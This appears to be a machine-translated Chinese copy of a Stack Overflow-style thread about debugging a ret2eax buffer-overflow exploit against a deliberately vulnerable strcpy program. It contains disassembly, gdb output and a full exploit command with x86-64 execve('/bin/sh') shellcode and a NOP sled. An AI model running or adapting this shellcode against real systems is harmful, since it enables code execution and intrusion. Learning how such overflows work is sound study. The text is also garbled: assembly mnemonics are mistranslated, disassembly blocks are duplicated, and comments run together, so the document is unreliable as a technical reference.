C ret2eax的问题
我在试图覆盖保存的回信地址时遇到了一些问题。这是我的密码:C ret2eax的问题,c,assembly,buffer-overflow,shellcode,C,Assembly,Buffer Overflow,Shellcode,我在试图覆盖保存的回信地址时遇到了一些问题。这是我的密码: 1 #include <stdio.h> 2 #include <string.h> 3 4 void foo(char *source) 5 { 6 char buf[64]; 8 printf("buf address: %p\n", buf); 9 strcpy(buf, source); 11 } 12 int main(int argc, c
1 #include <stdio.h>
2 #include <string.h>
3
4 void foo(char *source)
5 {
6 char buf[64];
8 printf("buf address: %p\n", buf);
9 strcpy(buf, source);
11 }
12 int main(int argc, char **argv)
13 {
14 if(argc > 1)
15 foo(argv[1]);
16 else
17 exit(0);
18
19 return 0;
20 }
->产壳
现在无需重新排序到printf即可获得外壳代码的地址。我想试试ret2eax
所以我用objdump找到了它的地址:
00000000004004bc <call_gmon_start>:
4004bc: 48 83 ec 08 sub $0x8,%rsp
4004c0: 48 8b 05 11 05 20 00 mov 0x200511(%rip),%rax # 6009d8 <_DYNAMIC+0x1e0>
4004c7: 48 85 c0 test %rax,%rax
4004ca: 74 02 je 4004ce <call_gmon_start+0x12>
4004cc: ff d0 callq *%rax
4004ce: 48 83 c4 08 add $0x8,%rsp
->我刚刚得到一个分割错误,为什么
使用gdb和foo()中retq处的断点:
如果需要,可对foo()进行反汇编:
0x000000000040059c <+0>: push %rbp
0x000000000040059d <+1>: mov %rsp,%rbp
0x00000000004005a0 <+4>: sub $0x50,%rsp
0x00000000004005a4 <+8>: mov %rdi,-0x48(%rbp)
0x00000000004005a8 <+12>: lea -0x40(%rbp),%rax
0x00000000004005ac <+16>: mov %rax,%rsi
0x00000000004005af <+19>: mov $0x4006bc,%edi
0x00000000004005b4 <+24>: mov $0x0,%eax
0x00000000004005b9 <+29>: callq 0x400460 <printf@plt>
0x00000000004005be <+34>: mov -0x48(%rbp),%rdx
0x00000000004005c2 <+38>: lea -0x40(%rbp),%rax
0x00000000004005c6 <+42>: mov %rdx,%rsi
0x00000000004005c9 <+45>: mov %rax,%rdi
0x00000000004005cc <+48>: callq 0x400450 <strcpy@plt>
0x00000000004005d1 <+53>: leaveq
=> 0x00000000004005d2 <+54>: retq
0x000000000040059c:推送%rbp
0x000000000040059d:mov%rsp,%rbp
0x00000000004005a0:低于$0x50,%rsp
0x00000000004005a4:mov%rdi,-0x48(%rbp)
0x00000000004005a8:lea-0x40(%rbp),%rax
0x00000000004005ac:mov%rax,%rsi
0x00000000004005af:mov$0x4006bc,%edi
0x00000000004005b4:mov$0x0,%eax
0x00000000004005b9:callq 0x400460
0x00000000004005be:mov-0x48(%rbp),%rdx
0x00000000004005c2:lea-0x40(%rbp),%rax
0x00000000004005c6:mov%rdx,%rsi
0x00000000004005c9:mov%rax,%rdi
0x00000000004005cc:callq 0x400450
0x00000000004005d1:LEVEQ
=>0x00000000004005d2:retq
您尚未粘贴函数的汇编代码foo
,但我假设编译器在堆栈上使用了一个局部变量来存储ptr
的值,而该变量恰好位于您覆盖的内存区域中数组的上方。归根结底,rax
不会在缓冲区中包含指向代码的指针。
作为参考,我的非优化构建如下所示:
0x00000000004005c6 <+42>: mov -0x58(%rbp),%rdx
0x00000000004005ca <+46>: lea -0x50(%rbp),%rax
0x00000000004005ce <+50>: mov %rdx,%rsi
0x00000000004005d1 <+53>: mov %rax,%rdi
0x00000000004005d4 <+56>: callq 0x400450 <strcpy@plt>
0x00000000004005d9 <+61>: mov -0x8(%rbp),%rax
0x00000000004005dd <+65>: leaveq
0x00000000004005de <+66>: retq
0x00000000004005c6:mov-0x58(%rbp),%rdx
0x00000000004005ca:lea-0x50(%rbp),%rax
0x00000000004005ce:mov%rdx,%rsi
0x00000000004005d1:mov%rax,%rdi
0x00000000004005d4:callq 0x400450
0x00000000004005d9:mov-0x8(%rbp),%rax
0x00000000004005dd:LEVEQ
0x00000000004005de:retq
如您所见,buf
位于阵列和返回地址之间的rbp-0x50
和ptr
位于rbp-8
。由于strcpy
返回目标参数,因此可以将C代码改为doreturnstrcpy(buf,source)
。此外,启用优化可以消除局部变量,从而解决问题,但这不是很可靠
鉴于您已经在
gdb
,您应该在发生故障时检查rax
中的值,因为这几乎是导致崩溃的唯一原因。您的argv[1]
字符串超过90字节。您认为这太多了吗?不,在反汇编中buf处于-0x50(%rbp)。所以我需要写88个字符才能找到返回地址的位置。证明是:在我的第一个示例中,我可以生成外壳代码。然后你可以看到我在0x40058d得到一个segfault,它应该是语句callq*raxHi的地址,是的,你是对的。我已经更新了我的帖子。如果你看一下我上面的代码,这次我可以得到frame_伪语句:call*$rax,但是我得到这个0x00007fffffe2f0 in??(). 这是我的缓冲区的地址。我通过在strcpy之前中断并查看$rax和$rdi来检查它。现在我不明白它为什么不执行外壳代码了?在这一点上,通过执行x/I$rip
确保您的代码确实在那里,并且它本身没有故障。另外,别忘了标记stack executable(但是第一个方法也需要这样做,所以我假设您已经做到了)。这完全是荒谬的,我实际上掉进了NOP SLED:(gdb)x/I$rip=>0x7fffffe2f0:NOP,但它不执行外壳代码。(我的堆栈是可执行的:-z execstack)您是否有任何错误?还是有什么问题?您发布的stepi
当然只执行1条指令,而??
只是意味着gdb不知道您使用的是哪个函数。哦,对不起,完全忘记了!程序接收信号SIGSEGV,分段故障。0x00007FFFFFE332英寸??()(gdb)x/i$rip=>0x7FFFFFE332:sbb(%rax),%al
./vuln `python -c 'print "\x90"*24+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"+"\x8d\x05\x40"'`
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe332 in ?? ()
(gdb) x/i $rip
=> 0x7fffffffe332: sbb (%rax),%al
0x000000000040059c <+0>: push %rbp
0x000000000040059d <+1>: mov %rsp,%rbp
0x00000000004005a0 <+4>: sub $0x50,%rsp
0x00000000004005a4 <+8>: mov %rdi,-0x48(%rbp)
0x00000000004005a8 <+12>: lea -0x40(%rbp),%rax
0x00000000004005ac <+16>: mov %rax,%rsi
0x00000000004005af <+19>: mov $0x4006bc,%edi
0x00000000004005b4 <+24>: mov $0x0,%eax
0x00000000004005b9 <+29>: callq 0x400460 <printf@plt>
0x00000000004005be <+34>: mov -0x48(%rbp),%rdx
0x00000000004005c2 <+38>: lea -0x40(%rbp),%rax
0x00000000004005c6 <+42>: mov %rdx,%rsi
0x00000000004005c9 <+45>: mov %rax,%rdi
0x00000000004005cc <+48>: callq 0x400450 <strcpy@plt>
0x00000000004005d1 <+53>: leaveq
=> 0x00000000004005d2 <+54>: retq
0x00000000004005c6 <+42>: mov -0x58(%rbp),%rdx
0x00000000004005ca <+46>: lea -0x50(%rbp),%rax
0x00000000004005ce <+50>: mov %rdx,%rsi
0x00000000004005d1 <+53>: mov %rax,%rdi
0x00000000004005d4 <+56>: callq 0x400450 <strcpy@plt>
0x00000000004005d9 <+61>: mov -0x8(%rbp),%rax
0x00000000004005dd <+65>: leaveq
0x00000000004005de <+66>: retq